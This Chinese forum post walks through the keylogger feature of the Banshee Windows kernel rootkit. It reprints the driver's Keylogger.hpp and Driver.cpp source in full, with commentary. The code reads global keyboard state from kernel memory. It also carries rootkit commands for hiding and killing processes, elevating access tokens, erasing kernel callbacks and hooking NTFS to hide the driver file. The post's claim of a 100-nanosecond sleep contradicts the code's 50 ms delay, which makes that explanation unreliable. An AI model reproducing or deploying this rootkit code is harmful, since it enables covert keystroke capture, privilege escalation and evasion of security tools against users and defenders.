Banshee rootkit研究之键盘记录

Banshee rootkit研究之键盘记录

书接上回,这次的文章继续来探讨一下Banshee的其他功能的实现😘

键盘记录

首先来看一下效果

由于本项目的键盘记录使用DbgPrint来打印,所以我们需要使用dbgview来查看,在虚拟机使用dbgview会有如下杂乱的信息干扰我们分析,可以使用过滤器屏蔽.

图片[1]-Banshee rootkit的研究之键盘记录-C/C++编程社区论坛-技术社区-学技术网

图片[2]-Banshee rootkit的研究之键盘记录-C/C++编程社区论坛-技术社区-学技术网

在banshee命令行输入keylog打开键盘记录,按下a键,可以看到dbgview中banshee的输出,接下来详细解释该功能的实现.

图片[3]-Banshee rootkit的研究之键盘记录-C/C++编程社区论坛-技术社区-学技术网

键盘记录的主要功能在Keylogger.hpp中实现,代码如下:

#include <ntifs.h>
#include <wdf.h>
#include "Globals.hpp"
#include "Misc.hpp"
#include "WinTypes.hpp"
#include "MemoryUtils.hpp"
#include "DriverMeta.hpp"

#define MOV_RAX_QWORD_BYTE1 0x48
#define MOV_RAX_QWORD_BYTE2 0x8B
#define MOV_RAX_QWORD_BYTE3 0x05

// https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
#define GET_KS_BYTE(vk) ((vk) * 2 / 8)
#define GET_KS_DOWN_BIT(vk) (1 << (((vk) % 4)*2))
#define GET_KS_LOCK_BIT(vk) (1 << (((vk) % 4)*2 + 1))
#define IS_KEY_DOWN(ks, vk) (((ks)[GET_KS_BYTE(vk)] & GET_KS_DOWN_BIT(vk)) ? TRUE : FALSE)
#define IS_KEY_LOCKED(ks, vk) (((ks)[GET_KS_BYTE(vk)] & GET_KS_LOCK_BIT(vk)) ? TRUE : FALSE)
#define SET_KEY_DOWN(ks, vk, down) (ks)[GET_KS_BYTE(vk)] = ((down) ? \
                                                            ((ks)[GET_KS_BYTE(vk)] | GET_KS_DOWN_BIT(vk)) : \
                                                            ((ks)[GET_KS_BYTE(vk)] & ~GET_KS_DOWN_BIT(vk)))
#define SET_KEY_LOCKED(ks, vk, down) (ks)[GET_KS_BYTE(vk)] = ((down) ? \
                                                              ((ks)[GET_KS_BYTE(vk)] | GET_KS_LOCK_BIT(vk)) : \
                                                              ((ks)[GET_KS_BYTE(vk)] & ~GET_KS_LOCK_BIT(vk)))

#define VK_A 0x41

UINT8 keyStateMap[64] = { 0 };
UINT8 keyPreviousStateMap[64] = { 0 };
UINT8 keyRecentStateMap[64] = { 0 };

/**
 * Read the contents of gafAsyncKeyStateAddr into keyStateMap. 
 */
VOID
BeUpdateKeyStateMap(const HANDLE& procId, const PVOID& gafAsyncKeyStateAddr)
{
  memcpy(keyPreviousStateMap, keyStateMap, 64);

  SIZE_T size = 0;
  BeGlobals::pMmCopyVirtualMemory(
    BeGetEprocessByPid(HandleToULong(procId)),
    gafAsyncKeyStateAddr,
    PsGetCurrentProcess(), 
    &keyStateMap,
    sizeof(UINT8[64]),
    KernelMode,
    &size
  );

  for (auto vk = 0u; vk < 256; ++vk) 
  {
    // if key is down but wasnt previously, set it in the recent state as down
    if (IS_KEY_DOWN(keyStateMap, vk) && !(IS_KEY_DOWN(keyPreviousStateMap, vk)))
    {
      SET_KEY_DOWN(keyRecentStateMap, vk, TRUE);
    }
  }
}

/**
 * Check if the key was pressed since the last call to this function
 * 
 * @param UINT8 virtual key code
 * @return BOOLEAN TRUE if the key was pressed, else FALSE
 */
BOOLEAN
BeWasKeyPressed(UINT8 vk)
{
  BOOLEAN result = IS_KEY_DOWN(keyRecentStateMap, vk);
  SET_KEY_DOWN(keyRecentStateMap, vk, FALSE);
  return result;
}

/**
 * Get the address of gafAsyncKeyState
 * 
 * @returns UINT64 address of gafAsyncKeyState
 */
PVOID
BeGetGafAsyncKeyStateAddress()
{
  // TODO FIXME: THIS IS WINDOWS <= 10 ONLY

  KAPC_STATE apc;

  // Get Address of NtUserGetAsyncKeyState
  DWORD64 ntUserGetAsyncKeyState = (DWORD64)BeGetSystemRoutineAddress(Win32kBase, "NtUserGetAsyncKeyState");
  LOG_MSG("NtUserGetAsyncKeyState: 0x%llx\n", ntUserGetAsyncKeyState);
  
  // To read session driver modules (such as win32kbase.sys, which contains NtUserGetAsyncKeyState), we need a process running in a user session 
  // https://www.unknowncheats.me/forum/general-programming-and-reversing/492970-reading-memory-win32kbase-sys.html
  KeStackAttachProcess(BeGlobals::winLogonProc, &apc);

  PVOID address = 0;
  INT i = 0;

  // Resolve gafAsyncKeyState address
  for (; i < 500; ++i)
  {
    if (
      *(BYTE*)(ntUserGetAsyncKeyState + i) == MOV_RAX_QWORD_BYTE1
      && *(BYTE*)(ntUserGetAsyncKeyState + i + 1) == MOV_RAX_QWORD_BYTE2 
      && *(BYTE*)(ntUserGetAsyncKeyState + i + 2) == MOV_RAX_QWORD_BYTE3
    )
    {
      // param for MOV RAX QWORD PTR is the offset to the address of gafAsyncKeyState
      UINT32 offset = (*(PUINT32)(ntUserGetAsyncKeyState + i + 3));
      address = (PVOID)(ntUserGetAsyncKeyState + i + 3 + 4 + offset); // 4 = length of offset value
      LOG_MSG("%02X %02X %02X %lx\n", *(BYTE*)(ntUserGetAsyncKeyState + i), *(BYTE*)(ntUserGetAsyncKeyState + i + 1), *(BYTE*)(ntUserGetAsyncKeyState + i + 2), offset);
      break;
    }
  }

  if (address == 0)
  {
    LOG_MSG("Could not resolve gafAsyncKeyState...\n");
  }
  else
  {
    LOG_MSG("Found address to gafAsyncKeyState at offset [NtUserGetAsyncKeyState]+%i: 0x%llx\n", i, address);
  }

  KeUnstackDetachProcess(&apc);
  return address;
}

/**
 * Thread function that runs a keylogger in the background, directly reading from gafAsyncKeyStateAddress
 */
VOID
BeKeyLoggerFunction(IN PVOID StartContext)
{
  UNREFERENCED_PARAMETER(StartContext);

  PVOID gasAsyncKeyStateAddr = BeGetGafAsyncKeyStateAddress();

  while(true)
  {
    if (BeGlobals::logKeys)
    {
      BeUpdateKeyStateMap(BeGlobals::winLogonPid, gasAsyncKeyStateAddr);

      // POC: just check for A. TODO: log all keys
      if (BeWasKeyPressed(0x41))
      {
        LOG_MSG("A pressed\n");
      }
    }
    
    if (BeGlobals::shutdown)
    {
      PsTerminateSystemThread(STATUS_SUCCESS);
    }

    // Sleep for 0.05 seconds
    LARGE_INTEGER interval;
    interval.QuadPart = -1 * (LONGLONG)50 * 10000;
    KeDelayExecutionThread(KernelMode, FALSE, &interval);
  }
}

以下是Driver.cpp完整代码:

#include <ntifs.h>
#include <wdf.h>

#include "DriverMeta.hpp"
#include "Globals.hpp"
#include "Commands.hpp"
#include "FileUtils.hpp"
#include "Keylogger.hpp"

// --------------------------------------------------------------------------------------------------------

// Features

// Deny file system  access to the banshee.sys file by hooking NTFS
#define DENY_DRIVER_FILE_ACCESS FALSE

// --------------------------------------------------------------------------------------------------------

HANDLE hKeyloggerThread;
HANDLE hMainLoop;

typedef struct _BANSHEE_PAYLOAD {
    COMMAND_TYPE cmdType;
    ULONG status;
    ULONG ulValue;
    BYTE byteValue;
    WCHAR wcharString[64];
    CALLBACK_DATA callbackData[32];
} BANSHEE_PAYLOAD;

/**
 * Called on unloading the driver.
 *
 * @return NTSTATUS status code.
 */
NTSTATUS
BeUnload()
{
    LOG_MSG("Unload Called \r\n");

    BeGlobals::shutdown = true;

    // Wait for keylogger to stop running TODO: proper signaling via events?
    BeGlobals::logKeys = false;
    LARGE_INTEGER interval;
    interval.QuadPart = -1 * (LONGLONG)500 * 10000;
    KeDelayExecutionThread(KernelMode, FALSE, &interval);
    // Close thread handle
    ZwClose(hKeyloggerThread);

    // Restore kernel callbacks
    {
        {
            AutoLock<FastMutex> _lock(BeGlobals::callbackLock);

            LOG_MSG("Erased kernel callback amount: %i\n", BeGlobals::beCallbacksToRestore.length);
            while (BeGlobals::beCallbacksToRestore.length >= 0)
            {
                auto callbackToRestore = BeGlobals::beCallbacksToRestore.callbackToRestore[BeGlobals::beCallbacksToRestore.length];
                auto callbackAddr = BeGlobals::beCallbacksToRestore.addrOfCallbackFunction[BeGlobals::beCallbacksToRestore.length];
                auto callbackType = BeGlobals::beCallbacksToRestore.callbackType[BeGlobals::beCallbacksToRestore.length];

                if (callbackToRestore != NULL)
                {
                    LOG_MSG("Restoring kernel callback function -> callbackToRestore 0x%llx\n", callbackToRestore);
                    switch (callbackType)
                    {
                    case CreateProcessNotifyRoutine:
                        InterlockedExchange64((LONG64*)callbackAddr, callbackToRestore);
                        break;
                    default:
                        LOG_MSG("Invalid callback type\r\n");
                        return STATUS_INVALID_PARAMETER;
                        break;
                    }
                }
                BeGlobals::beCallbacksToRestore.length--;
            }
        }
    }

    // Unhook if NTFS was hooked
    if (BeGlobals::originalNTFS_IRP_MJ_CREATE_function != NULL)
    {
        if (BeUnhookNTFSFileCreate() == STATUS_SUCCESS)
        {
            LOG_MSG("Removed NTFS hook!\n");
        }
        else
        {
            LOG_MSG("Failed to remove NTFS hook!\n");
        }
    }

    // Delete shared memory
    BeCloseSharedMemory(BeGlobals::hSharedMemory, BeGlobals::pSharedMemory);

    // Deref objects
    ObDereferenceObject(BeGlobals::winLogonProc);

    LOG_MSG("Byebye!\n");
    PsTerminateSystemThread(0);
    return STATUS_SUCCESS;
}

VOID
BeMainLoop(PVOID StartContext)
{
    UNREFERENCED_PARAMETER(StartContext);

    KAPC_STATE apc;

    while (true) 
    {
        LOG_MSG("Waiting for commandEvent...\n");
        NTSTATUS status = BeWaitForEvent(BeGlobals::commandEvent);
        LOG_MSG("CommandEvent Signaled! %d\n", status);

        // Reset
        status = BeSetNamedEvent(BeGlobals::commandEvent, FALSE);
        LOG_MSG("CommandEvent reset! %d\n", status);

        // Read command payload
        KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
        BANSHEE_PAYLOAD payload = *(BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory;
        LOG_MSG("Read: %d\n", payload.cmdType);
        KeUnstackDetachProcess(&apc);

        // Execute command
        NTSTATUS bansheeStatus = STATUS_NOT_IMPLEMENTED;
        switch (payload.cmdType)
        {
        case KILL_PROCESS:
            bansheeStatus = BeCmd_KillProcess(ULongToHandle(payload.ulValue));
            break;
        case PROTECT_PROCESS:
            bansheeStatus = BeCmd_ProtectProcess(payload.ulValue, payload.byteValue);
            break;
        case ELEVATE_TOKEN:
            bansheeStatus = BeCmd_ElevateProcessAcessToken(ULongToHandle(payload.ulValue));
            break;
        case HIDE_PROCESS:
            bansheeStatus = BeCmd_HideProcess(ULongToHandle(payload.ulValue));
            break;
        case ENUM_CALLBACKS: 
            {
                auto cbData = BeCmd_EnumerateCallbacks((CALLBACK_TYPE)payload.ulValue);

                // Write answer: copy over callbacks
                KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
                for (auto i = 0U; i < cbData.size(); ++i)
                {
                    CALLBACK_DATA cbd = { // TODO: this aint pretty, its a pity...
                        cbData[i].driverBase,
                        cbData[i].offset,
                        NULL
                    };
                    memcpy(cbd.driverName, cbData[i].driverName, (wcslen(cbData[i].driverName) + 1) * sizeof(WCHAR));

                    memcpy((PVOID)&(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).callbackData[i], (PVOID)&cbd, sizeof(CALLBACK_DATA));
                }
                // Write amount of callbacks to ulValue
                (*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).ulValue = (ULONG)cbData.size();
                KeUnstackDetachProcess(&apc);
            }
            bansheeStatus = STATUS_SUCCESS;
            break;
        case ERASE_CALLBACKS:
            bansheeStatus = BeCmd_EraseCallbacks(payload.wcharString, (CALLBACK_TYPE)payload.ulValue);
            break;
        case START_KEYLOGGER:
            bansheeStatus = BeCmd_StartKeylogger((BOOLEAN)payload.byteValue);
            break;
        case UNLOAD:
            BeSetNamedEvent(BeGlobals::answerEvent, TRUE);
            BeUnload();
            return;
            break;
        default:
            break;
        }

        // Write answer
        KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
        (*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).status = bansheeStatus;
        KeUnstackDetachProcess(&apc);

        // Set answer event
        BeSetNamedEvent(BeGlobals::answerEvent, TRUE);
        LOG_MSG("Set answerEvent\n");
    }
}

/**
 * Banshees driver entrypoint.
 *
 * @param pDriverObject Pointer to the DriverObject.
 * @param pRegistryPath A pointer to a UNICODE_STRING structure that specifies the path to the driver's Parameters key in the registry.
 * @return NTSTATUS status code.
 */
NTSTATUS
BansheeEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    UNREFERENCED_PARAMETER(pRegistryPath);
    UNREFERENCED_PARAMETER(pDriverObject);

    NTSTATUS NtStatus = STATUS_SUCCESS;

#if DENY_DRIVER_FILE_ACCESS
    NtStatus = BeHookNTFSFileCreate();
#endif

    LOG_MSG("Init globals\r\n");
    NtStatus = BeGlobals::BeInitGlobals();
    if (!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }

    // Start Keylogger Thread
    NtStatus = PsCreateSystemThread(&hKeyloggerThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, BeKeyLoggerFunction, NULL);
    if (NtStatus != 0)
    {
        return NtStatus;
    }

    // Main command loop
    NtStatus = PsCreateSystemThread(&hMainLoop, THREAD_ALL_ACCESS, NULL, NULL, NULL, BeMainLoop, NULL);
    if (NtStatus != 0)
    {
        return NtStatus;
    }

    return NtStatus;
}

/**
 * Driver entrypoint.
 *
 * @param pDriverObject Pointer to the DriverObject.
 * @param pRegistryPath A pointer to a UNICODE_STRING structure that specifies the path to the driver's Parameters key in the registry.
 * @return NTSTATUS status code.
 */
extern "C"
NTSTATUS
DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    LOG_MSG(" ______   ______   ______   ______   _    _   ______  ______ \n");
    LOG_MSG("| |  | \\ | |  | | | |  \\ \\ / |      | |  | | | |     | |     \n");
    LOG_MSG("| |--| < | |__| | | |  | | '------. | |--| | | |---- | |---- \n");
    LOG_MSG("|_|__|_/ |_|  |_| |_|  |_|  ____|_/ |_|  |_| |_|____ |_|____ \n");
    LOG_MSG(BANSHEE_VERSION);

    // If mapped, e.g. with kdmapper, those are empty.
    UNREFERENCED_PARAMETER(pDriverObject);
    UNREFERENCED_PARAMETER(pRegistryPath);

    return BansheeEntry(pDriverObject, pRegistryPath);
}

接下来,我们来梳理一下开启键盘记录的整个流程:

在Driver.cpp中驱动入口函数BansheeEntry执行PsCreateSystemThread

NtStatus = PsCreateSystemThread(&hKeyloggerThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, BeKeyLoggerFunction, NULL);

以下是PsCreateSystemThread的函数原型:

NTSTATUS PsCreateSystemThread(  
    PHANDLE ThreadHandle,     // 返回线程句柄  
    ULONG DesiredAccess,      // 线程访问权限  
    POBJECT_ATTRIBUTES ObjectAttributes, // 对象属性  
    HANDLE ProcessHandle,     // 关联进程句柄   
    PCLIENT_ID ClientId,      // 线程ID信息  
    PKSTART_ROUTINE StartRoutine, // 线程执行函数  
    PVOID StartContext        // 传递给线程的参数  
);

PsCreateSystemThread 是Windows内核中用于创建系统线程的函数,在这里他创建了一个线程来执行BeKeyLoggerFunction,这里是按键记录的核心逻辑.

VOID
BeKeyLoggerFunction(IN PVOID StartContext)
{
  UNREFERENCED_PARAMETER(StartContext);

  PVOID gasAsyncKeyStateAddr = BeGetGafAsyncKeyStateAddress();

  while(true)
  {
    if (BeGlobals::logKeys)
    {
      BeUpdateKeyStateMap(BeGlobals::winLogonPid, gasAsyncKeyStateAddr);

      // POC: just check for A. TODO: log all keys
      if (BeWasKeyPressed(0x41))
      {
        LOG_MSG("A pressed\n");
      }
    }
    
    if (BeGlobals::shutdown)
    {
      PsTerminateSystemThread(STATUS_SUCCESS);
    }

    // Sleep for 0.05 seconds
    LARGE_INTEGER interval;
    interval.QuadPart = -1 * (LONGLONG)50 * 10000;
    KeDelayExecutionThread(KernelMode, FALSE, &interval);
  }
}

在BeKeyLoggerFunction中,关键操作如下:

  • 调用 BeGetGafAsyncKeyStateAddress() ,通过获取NtUserGetAsyncKeyState函数地址,附加到winLogonProc进程,地址特征匹配,汇编指令解析,最终返回gafAsyncKeyState全局数组的绝对内存地址,gafAsyncKeyState作用是存储全局键盘状态,包含256个虚拟键的状态 .
PVOID
BeGetGafAsyncKeyStateAddress()
{
  // TODO FIXME: THIS IS WINDOWS <= 10 ONLY

  KAPC_STATE apc;

  // Get Address of NtUserGetAsyncKeyState
  DWORD64 ntUserGetAsyncKeyState = (DWORD64)BeGetSystemRoutineAddress(Win32kBase, "NtUserGetAsyncKeyState");
  LOG_MSG("NtUserGetAsyncKeyState: 0x%llx\n", ntUserGetAsyncKeyState);
  
  // To read session driver modules (such as win32kbase.sys, which contains NtUserGetAsyncKeyState), we need a process running in a user session 
  // https://www.unknowncheats.me/forum/general-programming-and-reversing/492970-reading-memory-win32kbase-sys.html
  KeStackAttachProcess(BeGlobals::winLogonProc, &apc);

  PVOID address = 0;
  INT i = 0;

  // Resolve gafAsyncKeyState address
  for (; i < 500; ++i)
  {
    if (
      *(BYTE*)(ntUserGetAsyncKeyState + i) == MOV_RAX_QWORD_BYTE1
      && *(BYTE*)(ntUserGetAsyncKeyState + i + 1) == MOV_RAX_QWORD_BYTE2 
      && *(BYTE*)(ntUserGetAsyncKeyState + i + 2) == MOV_RAX_QWORD_BYTE3
    )
    {
      // param for MOV RAX QWORD PTR is the offset to the address of gafAsyncKeyState
      UINT32 offset = (*(PUINT32)(ntUserGetAsyncKeyState + i + 3));
      address = (PVOID)(ntUserGetAsyncKeyState + i + 3 + 4 + offset); // 4 = length of offset value
      LOG_MSG("%02X %02X %02X %lx\n", *(BYTE*)(ntUserGetAsyncKeyState + i), *(BYTE*)(ntUserGetAsyncKeyState + i + 1), *(BYTE*)(ntUserGetAsyncKeyState + i + 2), offset);
      break;
    }
  }

  if (address == 0)
  {
    LOG_MSG("Could not resolve gafAsyncKeyState...\n");
  }
  else
  {
    LOG_MSG("Found address to gafAsyncKeyState at offset [NtUserGetAsyncKeyState]+%i: 0x%llx\n", i, address);
  }

  KeUnstackDetachProcess(&apc);
  return address;
}
  • 创建无限循环,持续执行键盘监控逻辑,以下是循环中逻辑
  • 按键键盘记录开关检测if (BeGlobals::logKeys) { // 仅在日志开关打开时执行 },当用户在命令行输入keylog时,logKeys标志会被置为start,即开启监听.
  • 调用BeUpdateKeyStateMap,主要操作包含:备份上一次键盘状态,读取系统最新键盘状态,比较当前和之前状态,更新最近按键状态映射.
BeUpdateKeyStateMap(const HANDLE& procId, const PVOID& gafAsyncKeyStateAddr)
{
  memcpy(keyPreviousStateMap, keyStateMap, 64);

  SIZE_T size = 0;
  BeGlobals::pMmCopyVirtualMemory(
    BeGetEprocessByPid(HandleToULong(procId)),
    gafAsyncKeyStateAddr,
    PsGetCurrentProcess(), 
    &keyStateMap,
    sizeof(UINT8[64]),
    KernelMode,
    &size
  );

  for (auto vk = 0u; vk < 256; ++vk) 
  {
    // if key is down but wasnt previously, set it in the recent state as down
    if (IS_KEY_DOWN(keyStateMap, vk) && !(IS_KEY_DOWN(keyPreviousStateMap, vk)))
    {
      SET_KEY_DOWN(keyRecentStateMap, vk, TRUE);
    }
  }
}
  • 这里作者只实现了a按键的记录,如果a被按下,通过LOG_MSG也就是DbgPrint来打印"A pressed\n"
// POC: just check for A. TODO: log all keys
if (BeWasKeyPressed(0x41))
{
  LOG_MSG("A pressed\n");
}
  • BeWasKeyPressed()参数:vk = 虚拟键值(0-255)  返回:是否被按下的布尔值 从keyRecentStateMap中获取数据
BeWasKeyPressed(UINT8 vk)
{
  BOOLEAN result = IS_KEY_DOWN(keyRecentStateMap, vk);
  SET_KEY_DOWN(keyRecentStateMap, vk, FALSE);
  return result;
}
  • 如果关闭监听,则线程成功退出
if (BeGlobals::shutdown)
{
  PsTerminateSystemThread(STATUS_SUCCESS);
}
  • 线程挂起100纳秒,之后从头继续检测逻辑.
LARGE_INTEGER interval;
interval.QuadPart = -1 * (LONGLONG)50 * 10000;
KeDelayExecutionThread(KernelMode, FALSE, &interval);

以上便是Banshee键盘记录功能的完整实现,下一篇文章将解释内核回调相关功能的实现😍

 

© 版权声明
THE END
喜欢就支持一下吧
点赞23 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容